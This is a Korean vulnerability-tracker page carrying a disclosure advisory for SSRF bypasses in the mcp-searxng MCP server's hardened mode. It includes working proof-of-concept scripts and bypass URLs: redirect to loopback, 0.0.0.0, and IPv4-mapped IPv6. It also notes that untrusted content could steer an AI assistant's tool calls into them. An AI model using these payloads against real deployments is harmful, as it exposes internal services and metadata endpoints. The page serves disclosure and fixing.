Kestrel
대시보드로 돌아가기
CVE-2026-54689MEDIUM· 6.3GHSA대응게시일: 2026. 08. 19.수정일: 2026. 08. 19.

SearXNG MCP Server: Additional hardened-mode SSRF bypasses

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

· KEV 미등재 · 자동화 어려움 · 부분 영향 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.3MODERATE
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

상세 설명

Summary

mcp-searxng has a hardened-mode URL-reading feature intended to prevent web_url_read from reaching private or internal network resources.

PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.

However, several other hardened-mode SSRF bypasses still appear to remain:

  1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.
  2. 0.0.0.0 is not treated as an internal/special address.
  3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.

With hardened mode enabled and private URLs not explicitly allowed, web_url_read was still able to fetch and return content from a local loopback sentinel service in all three cases.

Tested configuration

text
1MCP_HTTP_HARDEN=true
2MCP_HTTP_ALLOW_PRIVATE_URLS unset

The MCP server was driven over stdio.

The test target was a harmless internal sentinel HTTP service bound to:

text
1127.0.0.1:6789

The sentinel response contained:

text
1INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

Relationship to PR #79

I tested PR #79 locally:

  • PR: fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79
  • PR commit tested: e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
  • Base issue class: CWE-918 / SSRF in web_url_read
  • Hardened mode: enabled

Observed results:

bash
1Case Result on PR #79
2-------------------------------------------------------------
3DNS hostname resolving to 127.0.0.1 blocked
40.0.0.0 BYPASS
5[::ffff:127.0.0.1] BYPASS
6redirect from non-private IP to 127.0.0.1 BYPASS

So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.

Root cause

1. Redirect targets are not re-validated

The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.

A non-private attacker-controlled first-hop URL can respond with:

text
1302 Location: http://127.0.0.1:6789/secret

The request is then followed to loopback.

This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.

2. 0.0.0.0 is not treated as internal

0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.

In my test, this URL returned the sentinel from the local loopback service:

text
1http://0.0.0.0:6789/secret

3. IPv4-mapped IPv6 canonicalization bypass

The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:

text
1::ffff:127.0.0.1

However, Node's WHATWG URL parser canonicalizes:

text
1new URL("http://[::ffff:127.0.0.1]/").hostname

to:

text
1[::ffff:7f00:1]

As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.

In my test, this URL returned the loopback sentinel:

text
1http://[::ffff:127.0.0.1]:6789/secret

Impact

This is a hardened-mode SSRF bypass.

The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.

In real deployments, the same class of issue could allow web_url_read to reach:

  • local admin panels bound to loopback;
  • Redis, Elasticsearch, or other local HTTP-like services;
  • internal HTTP APIs on private networks;
  • service mesh endpoints;
  • cloud metadata endpoints, depending on routing and environment.

This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger web_url_read with one of these bypass URLs.

Proof of Concept

1. Build the PR #79 branch

text
1cd /home/exouser/Desktop
2mkdir -p searxng_pr79_test
3cd searxng_pr79_test
4
5git clone --depth 1 \
6 -b fix/cwe918-url-reader-ssrf-4676 \
7 https://github.com/sebastiondev/mcp-searxng.git pr79
8
9cd pr79
10git rev-parse HEAD
11
12npm install --no-audit --no-fund
13npm run build
14
15ls -l dist/index.js

Expected PR commit:

text
1e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4

2. Start an internal sentinel service

This service represents an internal-only HTTP service reachable from the MCP server host.

bash
1cat > /tmp/searxng_sentinel_server.py <<'PY'
2#!/usr/bin/env python3
3import sys
4import threading
5from http.server import BaseHTTPRequestHandler, HTTPServer
6
7PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789
8SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"
9
10class H(BaseHTTPRequestHandler):
11 def do_GET(self):
12 body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>"
13 self.send_response(200)
14 self.send_header("Content-Type", "text/html")
15 self.send_header("Content-Length", str(len(body)))
16 self.end_headers()
17 self.wfile.write(body)
18
19 def log_message(self, fmt, *args):
20 sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))
21
22def serve_v4():
23 HTTPServer(("127.0.0.1", PORT), H).serve_forever()
24
25def serve_v6():
26 try:
27 import socket
28 class HTTPServerV6(HTTPServer):
29 address_family = socket.AF_INET6
30 HTTPServerV6(("::1", PORT), H).serve_forever()
31 except Exception as e:
32 sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")
33
34threading.Thread(target=serve_v4, daemon=True).start()
35serve_v6()
36PY
37
38fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
39nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
40sleep 1
41
42curl -sS http://127.0.0.1:6789/secret

Expected output contains:

text
1INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

3. PoC A: 0.0.0.0

python
1cat > /tmp/poc_0_0_0_0.py <<'PY'
2#!/usr/bin/env python3
3import json
4import os
5import subprocess
6import time
7import sys
8from pathlib import Path
9
10REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79")
11SERVER = REPO / "dist" / "index.js"
12SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"
13
14ENV = {
15 "MCP_HTTP_HARDEN": "true",
16 "MCP_HTTP_AUTH_TOKEN": "poc-token",
17 "MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999",
18}
19
20def send(p, o):
21 p.stdin.write((json.dumps(o) + "\n").encode())
22 p.stdin.flush()
23
24def recv(p, want_id, timeout=20):
25 end = time.time() + timeout
26 while time.time() < end:
27 line = p.stdout.readline()
28 if not line:
29 time.sleep(0.05)
30 continue
31 try:
32 m = json.loads(line.decode())
33 except Exception:
34 continue
35 if m.get("id") == want_id:
36 return m
37 raise TimeoutError()
38
39def main():
40 url = "http://0.0.0.0:6789/secret"
41 print(f"[poc] hardened-mode read_url url = {url!r}")
42
43 p = subprocess.Popen(
44 ["node", str(SERVER)],
45 stdin=subprocess.PIPE,
46 stdout=subprocess.PIPE,
47 stderr=subprocess.PIPE,
48 cwd=str(REPO),
49 env={**os.environ, **ENV},
50 )
51
52 try:
53 send(p, {
54 "jsonrpc": "2.0",
55 "id": 1,
56 "method": "initialize",
57 "params": {
58 "protocolVersion": "2024-11-05",
59 "capabilities": {},
60 "clientInfo": {"name": "poc", "version": "0"}
61 }
62 })
63 recv(p, 1)
64
65 send(p, {
66 "jsonrpc": "2.0",
67 "method": "notifications/initialized",
68 "params": {}
69 })
70
71 send(p, {
72 "jsonrpc": "2.0",
73 "id": 2,
74 "method": "tools/call",
75 "params": {
76 "name": "web_url_read",
77 "arguments": {
78 "url": url,
79 "maxLength": 400
80 }
81 }
82 })
83
84 r = recv(p, 2)
85 finally:
86 try:
87 p.terminate()
88 p.wait(timeout=3)
89 except Exception:
90 p.kill()
91
92 text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_")
93 if SENTINEL in text:
94 print("[poc] RESULT: BYPASS — sentinel returned")
95 try:
96 print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200]))
97 except Exception:
98 pass
99 sys.exit(0)
100
101 print("[poc] RESULT: blocked / failed")
102 print(json.dumps(r)[:500])
103 sys.exit(1)
104
105if __name__ == "__main__":
106 main()
107PY
108
109python3 /tmp/poc_0_0_0_0.py

Observed:

text
1[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'
2[poc] RESULT: BYPASS — sentinel returned

4. PoC B: IPv4-mapped IPv6

text
1sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \
2 /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py
3
4python3 /tmp/poc_ipv4_mapped_ipv6.py

Observed:

text
1[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'
2[poc] RESULT: BYPASS — sentinel returned

5. PoC C: redirect from a non-private first-hop address to loopback

This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.

bash
1sudo ip addr add 198.51.100.1/32 dev lo
2
3cat > /tmp/redirector_public.py <<'PY'
4#!/usr/bin/env python3
5from http.server import BaseHTTPRequestHandler, HTTPServer
6
7class H(BaseHTTPRequestHandler):
8 def do_GET(self):
9 self.send_response(302)
10 self.send_header("Location", "http://127.0.0.1:6789/secret")
11 self.send_header("Content-Length", "0")
12 self.end_headers()
13
14 def log_message(self, *args, **kwargs):
15 pass
16
17HTTPServer(("198.51.100.1", 6790), H).serve_forever()
18PY
19
20fuser -k 6790/tcp 2>/dev/null || true
21nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
22sleep 1
23
24curl -sSL http://198.51.100.1:6790/jump

The curl sanity check should return the internal sentinel.

Now run the MCP request:

text
1sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \
2 /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py
3
4python3 /tmp/poc_redirect_public_to_loopback.py

Observed:

text
1[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'
2[poc] RESULT: BYPASS — sentinel returned

Cleanup

text
1fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
2sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true

Reproduction note

NodeHtmlMarkdown escapes _ to \_, so the sentinel may appear in the MCP response as:

text
1INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2

When grepping or matching the response, either match against the escaped form or normalize \_ back to _.

Expected behavior

When hardened mode is enabled and private URLs are not explicitly allowed, web_url_read should not be able to fetch loopback or internal resources through:

  • direct special-address literals;
  • IPv4-mapped IPv6 literals;
  • redirect chains;
  • hostnames that resolve to private or internal addresses.

Actual behavior

With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:

text
1http://0.0.0.0:6789/secret
2http://[::ffff:127.0.0.1]:6789/secret
3http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret

Suggested fix

A complete fix likely needs more than a connect-time DNS lookup guard.

Suggested changes:

  • Re-validate every redirect hop. One option is to use redirect: "manual" and apply the same URL policy to each Location before following it.
  • Treat 0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public.
  • Handle IPv4-mapped IPv6 after canonicalization, including forms such as [::ffff:7f00:1].
  • Apply private-address checks to IP literals directly, not only through DNS lookup hooks.
  • Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.
  • Add regression tests for:
    • redirect to 127.0.0.1;
    • 0.0.0.0;
    • [::ffff:127.0.0.1];
    • hostname resolving to 127.0.0.1;
    • decimal IPv4 normalization remaining blocked.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.